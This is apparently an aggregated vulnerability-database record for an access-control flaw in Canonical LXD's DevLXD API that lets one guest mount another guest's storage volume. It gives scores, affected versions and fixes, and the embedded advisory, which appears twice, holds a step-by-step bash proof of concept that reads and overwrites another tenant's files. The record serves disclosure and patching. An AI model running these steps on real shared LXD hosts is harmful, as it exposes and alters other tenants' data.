{"id":"CVE-2026-12411","aliases":["EUVD-2026-39788","GHSA-hhf9-qw4v-72xp","GO-2026-6917"],"status":"published","title":"Broken Access Control in Canonical LXD DevLXD API","description":"Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.","severity":{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00236,"percentile":0.14683,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-639","CWE-862"],"published":"2026-06-26T15:27:55.111Z","modified":"2026-11-06T00:25:49Z","fixes":[{"ecosystem":"Go","package":"github.com/canonical/lxd","fixed_in":["0.0.0-20260626085133-7cb96ac80a6d"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0-20250721152936-fe86ceb2c3fa"},{"fixed":"0.0.0-20260626085133-7cb96ac80a6d"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-20250721152936-fe86ceb2c3fa"},{"fixed":"0.0.0-20260626085133-7cb96ac80a6d"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-20250721152936-fe86ceb2c3fa"},{"fixed":"0.0.0-20260626085133-7cb96ac80a6d"}]}]}],"products":[{"vendor":"canonical","product":"lxd"}],"references":[{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-hhf9-qw4v-72xp","tags":["vdb-entry","vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/canonical/lxd/pull/18585","tags":["patch","Issue Tracking","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12411","tags":["advisory"]},{"url":"https://github.com/canonical/lxd/commit/752e25cfb849a349ff08939ce02747ef4d4e69cc","tags":["web","fix"]},{"url":"https://github.com/advisories/GHSA-hhf9-qw4v-72xp"},{"url":"https://github.com/canonical","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/12xxx/CVE-2026-12411.json","tags":["advisory"]},{"url":"https://github.com/canonical/lxd","tags":["package"]},{"url":"https://github.com/canonical/lxd/commit/7cb96ac80a6d52a96b53b0ae06a8659606fa8dd8","tags":["fix"]}],"sources":{"cve":[{"id":"CVE-2026-12411","title":"Broken Access Control in Canonical LXD DevLXD API","description":"Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.","status":"published","published":"2026-06-26T15:27:55.111Z","modified":"2026-06-26T16:02:55.284Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-639","CWE-862"],"updated_at":"2026-11-02T14:19:48.461833Z"}],"euvd":[{"id":"EUVD-2026-39788","description":"lxd allows Cross-guest volume hijack via DevLXD device patch","status":"published","published":"2026-11-05T17:40:59Z","modified":"2026-11-05T17:40:59Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-05T20:01:49.409291Z"}],"ghsa":[{"id":"GHSA-hhf9-qw4v-72xp","title":"lxd allows Cross-guest volume hijack via DevLXD device patch","description":"### Summary\n\nA guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data.\n\n### Details\n\nVolumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not.\n\n`devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest's device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn't already on the instance, the only check is `isDeviceAccessible(device)`:\n\n```go\nif (exists \u0026\u0026 !isOwned) || (!isDeviceAccessible(device)) \n```\n\n`exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed \u0026\u0026 filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller.\n\nThe handler then sets `volatile.\u003cdev\u003e.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device's `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's `volatile.devlxd.owner` still names the victim.\n\n### PoC\n\nBuilt from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project.\n\nHost setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:\n\n```bash\nlxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl\n\nfor g in a b; do\n  lxc auth identity create devlxd/id$g\n  lxc auth group create g$g\n  lxc auth group permission add g$g project default can_view\n  lxc auth group permission add g$g project default can_view_storage_volumes\n  lxc auth group permission add g$g project default can_create_storage_volumes\n  lxc auth group permission add g$g instance guest$g can_view project=default\n  lxc auth group permission add g$g instance guest$g can_edit project=default\n  lxc auth identity group add devlxd/id$g g$g\ndone\nTOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)\nTOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)\n```\n\nWith `devlxd` defined as `lxc exec \u003cc\u003e -- curl --unix-socket /dev/lxd/sock -H \"Authorization: Bearer \u003ctok\u003e\" ...`:\n\n```bash\ndevlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{\"name\":\"vola\",\"type\":\"custom\",\"config\":{}}'\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{\"devices\":{\"mine\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/mine\"}}}'\nlxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A \u003e /mnt/mine/secret.txt'\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{\"devices\":{\"mine\":null}}'\n\ndevlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404\n\ndevlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{\"devices\":{\"stolen\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/stolen\"}}}'   # HTTP 200\n\nlxc exec guestb -- cat /mnt/stolen/secret.txt                       \nlxc exec guestb -- sh -c 'echo PWNED-BY-B \u003e /mnt/stolen/b_was_here.txt'\n```\n\n`lxc storage volume get default vola volatile.devlxd.owner` returns guesta's identity; `lxc config device get guestb stolen source` returns `vola`.\n\n### Impact\n\nBroken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.","status":"published","published":"2026-11-05T17:40:59Z","modified":"2026-11-05T17:41:02Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-639","CWE-862"],"updated_at":"2026-11-05T17:54:18.515614Z"}],"nvd":[{"id":"CVE-2026-12411","description":"Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.","status":"published","published":"2026-06-26T16:16:30.117Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-639","CWE-862"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-12411","title":"Broken Access Control in Canonical LXD DevLXD API","description":"Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.","status":"published","published":"2026-06-26T15:27:55.111Z","modified":"2026-11-06T00:25:49.008764303Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-639","CWE-862"],"updated_at":"2026-11-06T01:02:32.613973Z"},{"id":"GHSA-hhf9-qw4v-72xp","title":"lxd allows Cross-guest volume hijack via DevLXD device patch","description":"### Summary\n\nA guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data.\n\n### Details\n\nVolumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not.\n\n`devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest's device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn't already on the instance, the only check is `isDeviceAccessible(device)`:\n\n```go\nif (exists \u0026\u0026 !isOwned) || (!isDeviceAccessible(device)) \n```\n\n`exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed \u0026\u0026 filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller.\n\nThe handler then sets `volatile.\u003cdev\u003e.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device's `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's `volatile.devlxd.owner` still names the victim.\n\n### PoC\n\nBuilt from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project.\n\nHost setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:\n\n```bash\nlxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl\n\nfor g in a b; do\n  lxc auth identity create devlxd/id$g\n  lxc auth group create g$g\n  lxc auth group permission add g$g project default can_view\n  lxc auth group permission add g$g project default can_view_storage_volumes\n  lxc auth group permission add g$g project default can_create_storage_volumes\n  lxc auth group permission add g$g instance guest$g can_view project=default\n  lxc auth group permission add g$g instance guest$g can_edit project=default\n  lxc auth identity group add devlxd/id$g g$g\ndone\nTOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)\nTOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)\n```\n\nWith `devlxd` defined as `lxc exec \u003cc\u003e -- curl --unix-socket /dev/lxd/sock -H \"Authorization: Bearer \u003ctok\u003e\" ...`:\n\n```bash\ndevlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{\"name\":\"vola\",\"type\":\"custom\",\"config\":{}}'\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{\"devices\":{\"mine\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/mine\"}}}'\nlxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A \u003e /mnt/mine/secret.txt'\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{\"devices\":{\"mine\":null}}'\n\ndevlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404\n\ndevlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{\"devices\":{\"stolen\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/stolen\"}}}'   # HTTP 200\n\nlxc exec guestb -- cat /mnt/stolen/secret.txt                       \nlxc exec guestb -- sh -c 'echo PWNED-BY-B \u003e /mnt/stolen/b_was_here.txt'\n```\n\n`lxc storage volume get default vola volatile.devlxd.owner` returns guesta's identity; `lxc config device get guestb stolen source` returns `vola`.\n\n### Impact\n\nBroken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.","status":"published","published":"2026-11-05T17:40:59Z","modified":"2026-11-06T00:25:49.008764303Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-639","CWE-862"],"updated_at":"2026-11-06T01:02:32.613973Z"},{"id":"GO-2026-6917","title":"LXD allows cross-guest volume hijack via DevLXD device patch in github.com/canonical/lxd","description":"LXD allows cross-guest volume hijack via DevLXD device patch in github.com/canonical/lxd","status":"published","published":"2026-11-05T23:49:57Z","modified":"2026-11-06T00:15:13.100708072Z","updated_at":"2026-11-06T01:02:32.613973Z"}]}}